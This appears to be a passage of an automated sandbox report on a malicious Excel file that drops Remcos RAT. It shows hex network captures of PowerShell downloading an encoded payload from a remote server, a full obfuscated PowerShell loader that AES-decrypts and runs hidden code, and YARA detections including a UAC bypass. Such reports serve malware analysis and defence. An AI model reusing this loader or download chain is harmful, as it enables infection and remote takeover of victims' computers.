                            Data Ascii: '4J:B=_U4OBzP<M?&4zU]0Agz/.9/&IbCBCc|g]7:9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi|*QUB
                            Jul 26, 2024 13:16:32.417304993 CEST1236INData Raw: d0 c4 b2 03 65 29 76 82 3b 8c 0c d3 09 40 49 0a c2 e8 73 95 68 dd 58 18 f6 af c9 b0 ce ca 5b 6a a8 60 0f 6e f9 c1 0b be dd a3 69 e0 81 80 b4 bb d5 b9 21 af 06 01 62 0d 0f cf 1d 4d 23 b8 65 28 d4 bc 0f 8e 0d f4 cf 13 1b 8d a8 0c 01 02 0c 4c a1 45
                            Data Ascii: e)v;@IshX[j`ni!bM#e(LE\yEandR*7%ugmPsR$HhDw}&_Dg:{[|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!
                            Jul 26, 2024 13:16:32.422456026 CEST1236INData Raw: 2f 3b 49 3e f9 b5 a5 d6 c3 06 88 41 24 c2 47 73 6c 0f aa 99 b2 de 37 36 f8 da 3f 21 88 46 07 7b 70 07 1d b1 0d 36 9d e2 58 b5 60 09 42 9f 52 8e 28 9e 07 ea 46 07 a9 56 b6 26 89 2b ec 78 e9 ed 92 5d 89 a2 68 66 46 97 c4 65 9b c4 8c 52 a8 89 69 86
                            Data Ascii: /;I>A$Gsl76?!F{p6X`BR(FV&+x]hfFeRi[y41+m&0Y W==Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            7192.168.2.2249170192.3.176.154801416C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:34.306621075 CEST80OUTGET /xampp/glo/KBV.txt HTTP/1.1
                            Host: 192.3.176.154
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:34.846365929 CEST1236INHTTP/1.1 200 OK
                            Date: Fri, 26 Jul 2024 11:16:34 GMT
                            Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                            Last-Modified: Fri, 26 Jul 2024 01:22:35 GMT
                            ETag: "a1000-61e1c58a4d3b3"
                            Accept-Ranges: bytes
                            Content-Length: 659456
                            Keep-Alive: timeout=5, max=100
                            Connection: Keep-Alive
                            Content-Type: text/plain
                            Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED]
                            Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
                            Jul 26, 2024 13:16:34.846416950 CEST1236INData Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34
                            Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
                            Jul 26, 2024 13:16:34.846451998 CEST1236INData Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44
                            Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
                            Jul 26, 2024 13:16:34.846489906 CEST672INData Raw: 77 77 4f 49 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 55 53 44 6b 30 77 49 4e 49 53 44 68 30 41 49 4e 38 52 44 65 30 51 48 4e 77 52 44 62 30 67 47 4e 6b 52 44 59 30 77 46 4e 59 52 44 55 30 77 45 4e 49 52 44 52 30 41 45 4e 38 51 44 4e 30 67 43
                            Data Ascii: wwOIAAAAAOAFAOAAAANUSDk0wINISDh0AIN8RDe0QHNwRDb0gGNkRDY0wFNYRDU0wENIRDR0AEN8QDN0gCNkQDI0wBNYQDF0ABNMQDB0AwM8PD+zQ/MwPD7zg+MgPD2AAAAcBQBQDgOsrD66QuOgrD36gtOUrD06wsOIrDx6AsO8qDu6QrOwqDr6gqOkqDo6wpOYqDl6ApOMqDi6QoOAqDf6gnO0pDc6wmOopDZ6AmOcpDW6QlO
                            Jul 26, 2024 13:16:34.846525908 CEST1236INData Raw: 67 77 4d 41 49 44 2b 79 41 76 4d 6f 4c 44 34 79 67 74 4d 51 4c 44 79 79 41 73 4d 34 4b 44 73 79 67 71 4d 67 4b 44 6d 79 41 70 4d 49 4b 44 67 79 67 6e 4d 77 4a 44 61 79 41 6d 4d 59 4a 44 55 79 67 6b 4d 41 4a 44 4f 79 41 6a 4d 6f 49 44 49 79 67 68
                            Data Ascii: gwMAID+yAvMoLD4ygtMQLDyyAsM4KDsygqMgKDmyApMIKDgygnMwJDayAmMYJDUygkMAJDOyAjMoIDIyghMQIDCyAQM4HD8xgeMgHD2xAdMIHDwxgbMwGDqxAaMYGDkxgYMAGDexAXMoFDYxgVMQFDSxAUM4EDMxgSMgEDGxARMIEDAwgPMwDD6wAOMYDD0wgMMADDuwALMoCDowgJMQCDiwAIM4BDcwgGMgBDWwAFMIBDQwgDM
                            Jul 26, 2024 13:16:34.846584082 CEST1236INData Raw: 38 44 4c 2f 51 79 50 63 38 44 46 2f 77 77 50 45 34 44 2f 2b 51 76 50 73 37 44 35 2b 77 74 50 55 37 44 7a 2b 51 73 50 38 36 44 74 2b 77 71 50 6b 36 44 6e 2b 51 70 50 4d 36 44 68 2b 77 6e 50 30 35 44 62 2b 51 6d 50 63 35 44 56 33 77 37 4e 34 65 44
                            Data Ascii: 8DL/QyPc8DF/wwPE4D/+QvPs7D5+wtPU7Dz+QsP86Dt+wqPk6Dn+QpPM6Dh+wnP05Db+QmPc5DV3w7N4eDt3A7NseDq3Q6NgeDn3g5NUeDk3w4NIeDe3Q3NwdDb3g2NkdDY3w1NYdDV3A1NMdDS3Q0NAdDP3gzN0cDM3wyNocDJ3AyNccDG3QhN4bD92AvNcbD22QtNQbDz2gsNEbDw2AkN8YDO2QiNgYDH2ghNUYDE2wgNIUD/
                            Jul 26, 2024 13:16:34.846616983 CEST1236INData Raw: 41 73 4e 32 5a 6a 62 32 6b 52 4e 78 56 44 4c 31 55 52 4e 41 51 7a 31 30 45 4a 4e 62 4e 54 61 7a 38 68 4d 71 45 6a 61 78 6b 42 4d 50 44 44 68 77 73 48 4d 50 41 6a 42 41 41 41 41 4d 42 51 42 67 41 41 41 41 38 54 69 2f 41 6f 50 39 37 7a 73 39 77 62
                            Data Ascii: AsN2Zjb2kRNxVDL1URNAQz10EJNbNTaz8hMqEjaxkBMPDDhwsHMPAjBAAAAMBQBgAAAA8Ti/AoP97zs9wbPM1zF8cCPUsDj7YlOCeDm34jNNXj51UcNNVDL1YBNdTzd0gENeMTty0tMQKjFyQQM7FTNAAAAIBQBQAAAA8j88UDPtwTJ80BPWoTU6UhODkT858dONnDG28SNwXj31wcN6WDq1YZNEWjc1AWNOVDP1oSNYQD10AMN
                            Jul 26, 2024 13:16:34.846654892 CEST1236INData Raw: 4c 44 32 79 4d 73 4d 51 4b 6a 4c 79 63 53 4d 63 46 54 56 41 41 41 41 41 43 41 42 77 43 41 41 41 34 54 4a 39 73 43 50 6c 79 54 55 37 34 32 4f 6f 74 6a 56 37 6f 78 4f 50 6f 7a 65 36 77 53 4f 36 6e 6a 79 33 73 38 4e 74 65 6a 70 33 34 34 4e 48 65 44
                            Data Ascii: LD2yMsMQKjLycSMcFTVAAAAACABwCAAA4TJ9sCPlyTU742OotjV7oxOPoze6wSO6njy3s8Ntejp344NHeDe3g2NhdjI0cFAAAAOAQAoA8TL/ERP03jv9MRPDwTq8YIPQxjP8cwOMvTs7E4OIpz06UsOArzs60pOHqDg68VOvdzc2MqNEajY1QfNSXjw10aNjWjA00ONkTz10wMN2Rjb0kENBRzE0wwM7PT8zc+MgPT0zs8MEPTu
                            Jul 26, 2024 13:16:34.846796036 CEST1236INData Raw: 77 5a 4d 33 46 7a 58 78 63 56 4d 4c 46 54 4f 78 41 53 4d 59 45 54 45 77 34 50 4d 79 44 44 35 77 63 4e 4d 53 44 54 78 77 41 4d 4d 33 43 54 71 77 4d 4b 4d 59 43 6a 6b 77 63 49 4d 2f 42 44 64 77 34 47 4d 64 42 44 57 77 6b 45 4d 57 41 7a 41 41 41 41
                            Data Ascii: wZM3FzXxcVMLFTOxASMYETEw4PMyDD5wcNMSDTxwAMM3CTqwMKMYCjkwcIM/BDdw4GMdBDWwkEMWAzAAAAAgCABABwPt/T4/Q9PP/Tm/c4PD5Tx+4qPY0jz9YbPn1DX9MAPizzO7o+OWvzy7A8O7uTs7w6OSuzd7o0Oyoj+6QtO3qTg6clO4gjG4UxNnfjx3E8NOezh3g2NedDW3kzNvUzO1ADN3Tj70MIN9Rzd00GNZQTBz8/M
                            Jul 26, 2024 13:16:34.846832037 CEST1236INData Raw: 36 6a 6a 2b 6b 6f 50 45 36 44 65 2b 45 6c 50 4d 35 7a 52 2b 73 6a 50 58 34 6a 45 2b 30 67 50 42 30 54 33 39 67 64 50 54 33 6a 79 39 4d 61 50 65 32 54 6d 39 6b 59 50 6e 31 54 57 39 30 55 50 2b 30 6a 49 38 67 50 50 77 7a 54 32 38 6b 4d 50 4e 79 54
                            Data Ascii: 6jj+koPE6De+ElPM5zR+sjPX4jE+0gPB0T39gdPT3jy9MaPe2Tm9kYPn1TW90UP+0jI8gPPwzT28kMPNyTg60BOijDt44KOiejZ3I2NedjW3Y1NSdjT3o0NGdjQ34zN6cjN3IzNucjK3YyNicjH3oxNWcjE34wNKcjB3IgN+bj+2YvNybj72oOAAAApAMAgAAAA0IOAAAADAMAcA8DU+gtPFzDL8gCPkwDI8sxOWvDg7w3O4tDd
                            Jul 26, 2024 13:16:34.852161884 CEST1236INData Raw: 34 35 4f 57 75 6a 54 37 67 30 4f 77 73 6a 43 36 6b 76 4f 76 72 44 30 36 55 53 4f 30 6c 6a 42 34 6b 50 4f 30 6a 7a 30 34 34 4d 4f 4a 6a 44 75 34 6f 49 4f 71 67 54 41 33 49 37 4e 61 64 54 51 33 6b 7a 4e 53 63 54 42 32 63 71 4e 64 61 7a 69 32 55 6f
                            Data Ascii: 45OWujT7g0OwsjC6kvOvrD06USO0ljB4kPO0jz044MOJjDu4oIOqgTA3I7NadTQ3kzNScTB2cqNdazi2UoN+ZTa2MkNyYjI2YhNDUD81EaN1RT108MNuSTq08JNUSji0AIN6RDd04GNoRjV0wENERTO0MDNtQjF04wMRPTyzs7MxOjozc5MSODjzU4MyNjVz00MINTOz0yMaMjEy4vM1LD8ycuMiLz2ywsMGLTuxMeMZHzzxUcM


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            8192.168.2.2249172178.237.33.5080628C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:40.437768936 CEST71OUTGET /json.gp HTTP/1.1
                            Host: geoplugin.net
                            Cache-Control: no-cache
                            Jul 26, 2024 13:16:41.061489105 CEST1170INHTTP/1.1 200 OK
                            date: Fri, 26 Jul 2024 11:16:40 GMT
                            server: Apache
                            content-length: 962
                            content-type: application/json; charset=utf-8
                            cache-control: public, max-age=300
                            access-control-allow-origin: *
                            Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED]
                            Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                            Statistics

                            CPU Usage

                            Click to jump to process

                            Memory Usage

                            Click to jump to process

                            High Level Behavior Distribution

                            Click to dive into process behavior distribution

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Target ID:0
                            Start time:07:15:24
                            Start date:26/07/2024
                            Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            Wow64 process (32bit):false
                            Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                            Imagebase:0x13f2d0000
                            File size:28'253'536 bytes
                            MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:false

                            General

                            Target ID:3
                            Start time:07:16:13
                            Start date:26/07/2024
                            Path:C:\Windows\System32\dllhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
                            Imagebase:0xffcd0000
                            File size:9'728 bytes
                            MD5 hash:A8EDB86FC2A4D6D1285E4C70384AC35A
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:moderate
                            Has exited:true

                            General

                            Target ID:4
                            Start time:07:16:15
                            Start date:26/07/2024
                            Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            Wow64 process (32bit):false
                            Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
                            Imagebase:0x13f1d0000
                            File size:1'423'704 bytes
                            MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:false

                            General

                            Target ID:8
                            Start time:07:16:26
                            Start date:26/07/2024
                            Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            Wow64 process (32bit):true
                            Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                            Imagebase:0x400000
                            File size:543'304 bytes
                            MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:9
                            Start time:07:16:28
                            Start date:26/07/2024
                            Path:C:\Windows\SysWOW64\wscript.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS"
                            Imagebase:0xe20000
                            File size:141'824 bytes
                            MD5 hash:979D74799EA6C8B8167869A68DF5204A
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:10
                            Start time:07:16:29
                            Start date:26/07/2024
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
                            Imagebase:0xb0000
                            File size:427'008 bytes
                            MD5 hash:EB32C070E658937AA9FA9F3AE629B2B8
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:12
                            Start time:07:16:35
                            Start date:26/07/2024
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                            Imagebase:0x230000
                            File size:64'704 bytes
                            MD5 hash:8FE9545E9F72E460723F484C304314AD
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.622570366.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                            • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                            • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                            Reputation:moderate
                            Has exited:false

                            Disassembly

                            Code Analysis

                            Call Graph

                            • Entrypoint
                            • Decryption Function
                            • Executed
                            • Not Executed
                            • Show Help
                            callgraph 1 Error: Graph is empty

                            Module: Sheet1

                            Declaration
                            LineContent
                            1

                            Attribute VB_Name = "Sheet1"

                            2

                            Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                            3

                            Attribute VB_GlobalNameSpace = False

                            4

                            Attribute VB_Creatable = False

                            5

                            Attribute VB_PredeclaredId = True

                            6

                            Attribute VB_Exposed = True

                            7

                            Attribute VB_TemplateDerived = False

                            8

                            Attribute VB_Customizable = True

                            Module: Sheet2

                            Declaration
                            LineContent
                            1

                            Attribute VB_Name = "Sheet2"

                            2

                            Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                            3

                            Attribute VB_GlobalNameSpace = False

                            4

                            Attribute VB_Creatable = False

                            5

                            Attribute VB_PredeclaredId = True

                            6

                            Attribute VB_Exposed = True

                            7

                            Attribute VB_TemplateDerived = False

                            8

                            Attribute VB_Customizable = True

                            Module: Sheet3

                            Declaration
                            LineContent
                            1

                            Attribute VB_Name = "Sheet3"

                            2

                            Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                            3

